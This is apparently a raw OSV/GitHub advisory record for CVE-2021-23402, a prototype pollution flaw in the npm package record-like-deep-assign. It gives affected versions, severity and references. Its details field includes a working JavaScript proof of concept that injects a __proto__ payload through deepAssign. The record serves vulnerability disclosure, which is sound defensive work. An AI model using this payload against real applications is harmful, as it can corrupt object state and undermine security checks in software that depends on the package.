原始 OSV JSON
{
"id": "GHSA-7qm6-9v49-38m9",
"aliases": [
"CVE-2021-23402"
],
"details": "All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require('record-like-deep-assign');\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse('{\"__proto__\":{\"polluted\":true}}');\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```",
"summary": "Prototype Pollution in record-like-deep-assign",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.1"
}
]
}
],
"package": {
"name": "record-like-deep-assign",
"ecosystem": "npm"
}
}
],
"modified": "2023-09-11T18:40:49Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
}
],
"published": "2021-12-10T18:55:39Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23402",
"type": "ADVISORY"
},
{
"url": "https://github.com/kripod/record-like-deep-assign",
"type": "PACKAGE"
},
{
"url": "https://github.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35",
"type": "WEB"
},
{
"url": "https://snyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": "2021-07-02T16:15:00Z",
"github_reviewed_at": "2021-07-06T14:32:33Z"
}
}